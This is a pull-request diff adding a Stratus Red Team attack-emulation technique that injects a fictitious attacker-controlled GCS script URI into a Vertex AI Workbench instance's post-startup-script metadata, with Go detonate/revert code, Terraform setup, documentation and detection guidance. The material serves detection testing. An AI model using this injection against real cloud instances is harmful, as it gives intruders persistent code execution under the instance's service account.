Skip to content
Merged
Show file tree
Hide file tree
Changes from 3 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,67 @@
---
title: Inject a Malicious Startup Script into a Vertex AI Workbench Instance
---

# Inject a Malicious Startup Script into a Vertex AI Workbench Instance

<span class="smallcaps w3-badge w3-orange w3-round w3-text-sand" title="This attack technique might be slow to warm up or detonate">slow</span>


Platform: GCP

## Mappings

- MITRE ATT&CK
- Execution
- Privilege Escalation



## Description


Modifies a Vertex AI Workbench (user-managed notebook) instance to execute a
remote script on the next start by injecting a malicious URL into the instance's
<code>post-startup-script</code> metadata field. An attacker with
<code>notebooks.instances.update</code> permission can use this technique to
achieve persistent code execution inside the notebook environment, run under
the instance's service account identity.

<span style="font-variant: small-caps;">Warm-up</span>:

- Create a Vertex AI Workbench instance (<code>e2-standard-2</code>, us-central1-a)

<span style="font-variant: small-caps;">Detonation</span>:

- Patch the Workbench instance's GCE setup metadata to set
<code>post-startup-script</code> to a fictitious attacker-controlled GCS URI
(<code>gs://evil-attacker-&lt;project-id&gt;-&lt;random&gt;/malicious.sh</code>)

Revert:

- Remove the <code>post-startup-script</code> metadata key from the instance

References:

- https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-notebooks-introduction
- https://cloud.google.com/vertex-ai/docs/workbench/reference/rest/v2/projects.locations.instances/patch
- https://sra.io/blog/privilege-escalation-in-aws-and-gcp-machine-learning-instances/
- https://unit42.paloaltonetworks.com/privilege-escalation-llm-model-exfil-vertex-ai/


## Instructions

```bash title="Detonate with Stratus Red Team"
stratus detonate gcp.execution.modify-vertex-notebook-startup
```
## Detection


Identify when a Vertex AI Workbench instance's metadata is modified by monitoring
for <code>google.cloud.notebooks.v2.NotebookService.UpdateInstance</code> events in
GCP Admin Activity audit logs. Alert when the <code>post-startup-script</code> or
<code>startup-script</code> metadata fields are added or changed to external URLs,
which may indicate an attempt to establish persistent code execution in the notebook
environment.


4 changes: 4 additions & 0 deletions docs/attack-techniques/GCP/index.md
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,8 @@ Note that some Stratus attack techniques may correspond to more than a single AT

- [Modify a GCE Instance Startup Script](./gcp.execution.modify-gce-startup-script.md)

- [Inject a Malicious Startup Script into a Vertex AI Workbench Instance](./gcp.execution.modify-vertex-notebook-startup.md)


## Persistence

Expand All @@ -37,6 +39,8 @@ Note that some Stratus attack techniques may correspond to more than a single AT

- [Impersonate GCP Service Accounts](./gcp.privilege-escalation.impersonate-service-accounts.md)

- [Inject a Malicious Startup Script into a Vertex AI Workbench Instance](./gcp.execution.modify-vertex-notebook-startup.md)


## Defense Evasion

Expand Down
1 change: 1 addition & 0 deletions docs/attack-techniques/list.md
Original file line number Diff line number Diff line change
Expand Up @@ -102,4 +102,5 @@ This page contains the list of all Stratus Attack Techniques.
| [Impersonate GCP Service Accounts](./GCP/gcp.privilege-escalation.impersonate-service-accounts.md) | [GCP](./GCP/index.md) | Privilege Escalation |
| [Delete a GCP Log Sink](./GCP/gcp.defense-evasion.delete-logging-sink.md) | [GCP](./GCP/index.md) | Defense Evasion |
| [Disable a GCP Log Sink](./GCP/gcp.defense-evasion.disable-logging-sink.md) | [GCP](./GCP/index.md) | Defense Evasion |
| [Inject a Malicious Startup Script into a Vertex AI Workbench Instance](./GCP/gcp.execution.modify-vertex-notebook-startup.md) | [GCP](./GCP/index.md) | Execution, Privilege Escalation |
| [Reduce Log Retention Period on a Cloud Logging Sink Bucket](./GCP/gcp.defense-evasion.reduce-sink-log-retention.md) | [GCP](./GCP/index.md) | Defense Evasion |
4 changes: 2 additions & 2 deletions docs/attack-techniques/mitre-attack-coverage-matrices.md
Original file line number Diff line number Diff line change
Expand Up @@ -56,10 +56,10 @@ This provides coverage matrices of MITRE ATT&CK tactics and techniques currently
<thead><tr><th>Initial Access</th><th>Execution</th><th>Persistence</th><th>Privilege Escalation</th><th>Defense Evasion</th><th>Credential Access</th><th>Discovery</th><th>Lateral Movement</th><th>Exfiltration</th><th>Impact</th></tr></thead>
<tbody>
<tr><td><a href="../GCP/gcp.initial-access.use-compute-sa-outside-gcp">Steal and Use the GCE Default Service Account Token from Outside Google Cloud</a></td><td><a href="../GCP/gcp.execution.modify-gce-startup-script">Modify a GCE Instance Startup Script</a></td><td><a href="../GCP/gcp.lateral-movement.add-sshkey-instance-metadata">Register SSH public key to instance metadata</a></td><td><a href="../GCP/gcp.execution.modify-gce-startup-script">Modify a GCE Instance Startup Script</a></td><td><a href="../GCP/gcp.defense-evasion.delete-dns-logs">Delete a Cloud DNS Logging Policy</a></td><td><a href="../GCP/gcp.credential-access.secretmanager-retrieve-secrets">Retrieve a High Number of Secret Manager secrets</a></td><td><a href="../GCP/gcp.discovery.download-instance-metadata">Read GCE Instance Metadata via the Compute API</a></td><td><a href="../GCP/gcp.lateral-movement.add-sshkey-instance-metadata">Register SSH public key to instance metadata</a></td><td><a href="../GCP/gcp.exfiltration.share-compute-disk">Exfiltrate Compute Disk by sharing it</a></td><td><a href="../GCP/gcp.impact.create-gpu-vm">Create a GCE GPU Virtual Machine</a></td></tr>
<tr><td></td><td></td><td><a href="../GCP/gcp.persistence.backdoor-service-account-policy">Backdoor a GCP Service Account through its IAM Policy</a></td><td><a href="../GCP/gcp.persistence.create-admin-service-account">Create an Admin GCP Service Account</a></td><td><a href="../GCP/gcp.defense-evasion.disable-audit-logs">Disable Data Access Audit Logs for a GCP Service</a></td><td><a href="../GCP/gcp.initial-access.use-compute-sa-outside-gcp">Steal and Use the GCE Default Service Account Token from Outside Google Cloud</a></td><td><a href="../GCP/gcp.discovery.enumerate-permissions">Enumerate Permissions of a GCP Service Account</a></td><td></td><td><a href="../GCP/gcp.exfiltration.share-compute-image">Exfiltrate Compute Image by sharing it</a></td><td><a href="../GCP/gcp.impact.create-instances-in-multiple-zones">Create GCE Instances in Multiple Zones</a></td></tr>
<tr><td></td><td><a href="../GCP/gcp.execution.modify-vertex-notebook-startup">Inject a Malicious Startup Script into a Vertex AI Workbench Instance</a></td><td><a href="../GCP/gcp.persistence.backdoor-service-account-policy">Backdoor a GCP Service Account through its IAM Policy</a></td><td><a href="../GCP/gcp.persistence.create-admin-service-account">Create an Admin GCP Service Account</a></td><td><a href="../GCP/gcp.defense-evasion.disable-audit-logs">Disable Data Access Audit Logs for a GCP Service</a></td><td><a href="../GCP/gcp.initial-access.use-compute-sa-outside-gcp">Steal and Use the GCE Default Service Account Token from Outside Google Cloud</a></td><td><a href="../GCP/gcp.discovery.enumerate-permissions">Enumerate Permissions of a GCP Service Account</a></td><td></td><td><a href="../GCP/gcp.exfiltration.share-compute-image">Exfiltrate Compute Image by sharing it</a></td><td><a href="../GCP/gcp.impact.create-instances-in-multiple-zones">Create GCE Instances in Multiple Zones</a></td></tr>
<tr><td></td><td></td><td><a href="../GCP/gcp.persistence.create-admin-service-account">Create an Admin GCP Service Account</a></td><td><a href="../GCP/gcp.persistence.create-service-account-key">Create a GCP Service Account Key</a></td><td><a href="../GCP/gcp.defense-evasion.remove-project-from-organization">Attempt to Remove a GCP Project from its Organization</a></td><td></td><td></td><td></td><td><a href="../GCP/gcp.exfiltration.share-compute-snapshot">Exfiltrate Compute Disk by sharing a snapshot</a></td><td></td></tr>
<tr><td></td><td></td><td><a href="../GCP/gcp.persistence.create-service-account-key">Create a GCP Service Account Key</a></td><td><a href="../GCP/gcp.privilege-escalation.impersonate-service-accounts">Impersonate GCP Service Accounts</a></td><td><a href="../GCP/gcp.defense-evasion.remove-vpc-flow-logs">Disable VPC Flow Logs on a Subnet</a></td><td></td><td></td><td></td><td></td><td></td></tr>
<tr><td></td><td></td><td><a href="../GCP/gcp.persistence.invite-external-user">Invite an External User to a GCP Project</a></td><td></td><td><a href="../GCP/gcp.defense-evasion.delete-logging-sink">Delete a GCP Log Sink</a></td><td></td><td></td><td></td><td></td><td></td></tr>
<tr><td></td><td></td><td><a href="../GCP/gcp.persistence.invite-external-user">Invite an External User to a GCP Project</a></td><td><a href="../GCP/gcp.execution.modify-vertex-notebook-startup">Inject a Malicious Startup Script into a Vertex AI Workbench Instance</a></td><td><a href="../GCP/gcp.defense-evasion.delete-logging-sink">Delete a GCP Log Sink</a></td><td></td><td></td><td></td><td></td><td></td></tr>
<tr><td></td><td></td><td></td><td></td><td><a href="../GCP/gcp.defense-evasion.disable-logging-sink">Disable a GCP Log Sink</a></td><td></td><td></td><td></td><td></td><td></td></tr>
<tr><td></td><td></td><td></td><td></td><td><a href="../GCP/gcp.defense-evasion.reduce-sink-log-retention">Reduce Log Retention Period on a Cloud Logging Sink Bucket</a></td><td></td><td></td><td></td><td></td><td></td></tr>
</tbody>
Expand Down
16 changes: 16 additions & 0 deletions docs/index.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -626,6 +626,14 @@ GCP:
- Privilege Escalation
platform: GCP
isIdempotent: true
- id: gcp.execution.modify-vertex-notebook-startup
name: Inject a Malicious Startup Script into a Vertex AI Workbench Instance
isSlow: true
mitreAttackTactics:
- Execution
- Privilege Escalation
platform: GCP
isIdempotent: false
Exfiltration:
- id: gcp.exfiltration.share-compute-disk
name: Exfiltrate Compute Disk by sharing it
Expand Down Expand Up @@ -752,6 +760,14 @@ GCP:
- Privilege Escalation
platform: GCP
isIdempotent: true
- id: gcp.execution.modify-vertex-notebook-startup
name: Inject a Malicious Startup Script into a Vertex AI Workbench Instance
isSlow: true
mitreAttackTactics:
- Execution
- Privilege Escalation
platform: GCP
isIdempotent: false
Azure:
Execution:
- id: azure.execution.vm-custom-script-extension
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,192 @@
package gcp

import (
"context"
"crypto/rand"
_ "embed"
"encoding/hex"
"fmt"
"log"
"maps"
"time"

"github.com/datadog/stratus-red-team/v2/pkg/stratus"
"github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack"
notebooks "google.golang.org/api/notebooks/v2"
)

//go:embed main.tf
var tf []byte

func init() {
stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{
ID: "gcp.execution.modify-vertex-notebook-startup",
FriendlyName: "Inject a Malicious Startup Script into a Vertex AI Workbench Instance",
Description: `
Modifies a Vertex AI Workbench (user-managed notebook) instance to execute a
remote script on the next start by injecting a malicious URL into the instance's
<code>post-startup-script</code> metadata field. An attacker with
<code>notebooks.instances.update</code> permission can use this technique to
achieve persistent code execution inside the notebook environment, run under
the instance's service account identity.

Warm-up:

- Create a Vertex AI Workbench instance (<code>e2-standard-2</code>, us-central1-a)

Detonation:

- Patch the Workbench instance's GCE setup metadata to set
<code>post-startup-script</code> to a fictitious attacker-controlled GCS URI
(<code>gs://evil-attacker-&lt;project-id&gt;-&lt;random&gt;/malicious.sh</code>)

Revert:

- Remove the <code>post-startup-script</code> metadata key from the instance

References:

- https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-notebooks-introduction
- https://cloud.google.com/vertex-ai/docs/workbench/reference/rest/v2/projects.locations.instances/patch
- https://sra.io/blog/privilege-escalation-in-aws-and-gcp-machine-learning-instances/
- https://unit42.paloaltonetworks.com/privilege-escalation-llm-model-exfil-vertex-ai/
`,
Detection: `
Identify when a Vertex AI Workbench instance's metadata is modified by monitoring
for <code>google.cloud.notebooks.v2.NotebookService.UpdateInstance</code> events in
GCP Admin Activity audit logs. Alert when the <code>post-startup-script</code> or
<code>startup-script</code> metadata fields are added or changed to external URLs,
which may indicate an attempt to establish persistent code execution in the notebook
environment.
`,
Platform: stratus.GCP,
IsIdempotent: false,
IsSlow: true,
MitreAttackTactics: []mitreattack.Tactic{mitreattack.Execution, mitreattack.PrivilegeEscalation},
PrerequisitesTerraformCode: tf,
Detonate: detonate,
Revert: revert,
})
}

func newNotebooksService(ctx context.Context, providers stratus.CloudProviders) (*notebooks.Service, error) {
svc, err := notebooks.NewService(ctx, providers.GCP().Options())
if err != nil {
return nil, fmt.Errorf("failed to create Notebooks client: %w", err)
}
return svc, nil
}

func instancePath(projectId, location, instanceName string) string {
return fmt.Sprintf("projects/%s/locations/%s/instances/%s", projectId, location, instanceName)
}

// waitForNotebooksOperation polls a Notebooks long-running operation until it
// completes or the maximum number of attempts is reached.
func waitForNotebooksOperation(ctx context.Context, svc *notebooks.Service, opName string) error {
const maxAttempts = 60
const pollInterval = 10 * time.Second

for attempt := range maxAttempts {
op, err := svc.Projects.Locations.Operations.Get(opName).Context(ctx).Do()
if err != nil {
return fmt.Errorf("failed to poll Notebooks operation %s: %w", opName, err)
}
if op.Done {
if op.Error != nil {
return fmt.Errorf("Notebooks operation %s failed: %s", opName, op.Error.Message)
}
return nil
}
log.Printf("Waiting for Notebooks patch operation to complete (attempt %d/%d)\n", attempt+1, maxAttempts)
time.Sleep(pollInterval)
}
return fmt.Errorf("Notebooks operation %s did not complete after %d attempts", opName, maxAttempts)
}

func setPostStartupScript(ctx context.Context, svc *notebooks.Service, projectId, location, instanceName, scriptURL string) error {
path := instancePath(projectId, location, instanceName)

// Fetch the current instance to preserve any existing GCE setup fields.
instance, err := svc.Projects.Locations.Instances.Get(path).Context(ctx).Do()
if err != nil {
return fmt.Errorf("failed to get Workbench instance %s: %w", path, err)
}

// Preserve existing metadata and inject / remove the post-startup-script key.
metadata := make(map[string]string)
if instance.GceSetup != nil && instance.GceSetup.Metadata != nil {
maps.Copy(metadata, instance.GceSetup.Metadata)
}

if scriptURL == "" {
delete(metadata, "post-startup-script")
} else {
metadata["post-startup-script"] = scriptURL
}

patchedGceSetup := &notebooks.GceSetup{
Metadata: metadata,
}

op, err := svc.Projects.Locations.Instances.Patch(path, &notebooks.Instance{
GceSetup: patchedGceSetup,
}).UpdateMask("gceSetup.metadata").Context(ctx).Do()
if err != nil {
return fmt.Errorf("failed to patch Workbench instance %s: %w", path, err)
}

return waitForNotebooksOperation(ctx, svc, op.Name)
}

func detonate(params map[string]string, providers stratus.CloudProviders) error {
gcp := providers.GCP()
projectId := gcp.GetProjectId()
instanceName := params["instance_name"]
location := params["location"]
ctx := context.Background()

svc, err := newNotebooksService(ctx, providers)
if err != nil {
return err
}

// The post-startup-script field only accepts gs:// URIs — the script is fetched
// from GCS when the instance boots, so GCP does not validate the bucket exists at
// patch time. Using a fictitious attacker-controlled bucket simulates the attack.
// GCS bucket names are globally unique, so a random suffix is added to the project
// ID to prevent a third party from pre-registering the bucket name.
var nonce [4]byte
if _, err = rand.Read(nonce[:]); err != nil {
return fmt.Errorf("failed to generate random nonce: %w", err)
}
maliciousURL := fmt.Sprintf("gs://evil-attacker-%s-%s/malicious.sh", projectId, hex.EncodeToString(nonce[:]))
log.Printf("Injecting post-startup-script %s into Workbench instance %s\n", maliciousURL, instanceName)
if err = setPostStartupScript(ctx, svc, projectId, location, instanceName, maliciousURL); err != nil {
return err
}

log.Printf("Successfully injected malicious startup script into Workbench instance %s — script will execute on next start\n", instanceName)
return nil
}

func revert(params map[string]string, providers stratus.CloudProviders) error {
gcp := providers.GCP()
projectId := gcp.GetProjectId()
instanceName := params["instance_name"]
location := params["location"]
ctx := context.Background()

svc, err := newNotebooksService(ctx, providers)
if err != nil {
return err
}

log.Printf("Removing post-startup-script from Workbench instance %s\n", instanceName)
if err = setPostStartupScript(ctx, svc, projectId, location, instanceName, ""); err != nil {
return err
}

log.Printf("Successfully removed malicious startup script from Workbench instance %s\n", instanceName)
return nil
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,56 @@
terraform {
required_providers {
google = {
source = "hashicorp/google"
version = "~> 6.18.1"
}
random = {
source = "hashicorp/random"
version = "~> 3.3.2"
}
}
}

locals {
resource_prefix = "stratus-red-team-mvns" # modify vertex notebook startup
}

resource "random_string" "suffix" {
length = 8
special = false
min_lower = 8
}

resource "google_compute_network" "vpc" {
name = "${local.resource_prefix}-vpc-${random_string.suffix.result}"
auto_create_subnetworks = true
}

resource "google_workbench_instance" "notebook" {

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Error: Error creating Instance: googleapi: Error 403: Notebooks API has not been used in project security-detection-reseach before or it is disabled. Enable it by visiting https://console.developers.google.com/apis/api/notebooks.googleapis.com/overview?project=security-detection-reseach then retry. If you enabled this API recently, wait a few minutes for the action to propagate to our systems and retry.

I think we need to mention this in the docs, or ideally print a nicer error message

name = "${local.resource_prefix}-${random_string.suffix.result}"
location = "us-central1-a"

gce_setup {
machine_type = "e2-standard-2"

boot_disk {
disk_size_gb = 150
}

network_interfaces {
network = google_compute_network.vpc.self_link
}
}
}

output "instance_name" {
value = google_workbench_instance.notebook.name
}

output "location" {
value = google_workbench_instance.notebook.location
}

output "display" {
value = format("Vertex AI Workbench instance %s in %s ready", google_workbench_instance.notebook.name, google_workbench_instance.notebook.location)
}
1 change: 1 addition & 0 deletions v2/internal/attacktechniques/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -75,6 +75,7 @@ import (
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/discovery/download-instance-metadata"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/discovery/enumerate-permissions"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/execution/modify-gce-startup-script"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/exfiltration/share-compute-disk"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/exfiltration/share-compute-image"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/exfiltration/share-compute-snapshot"
Expand Down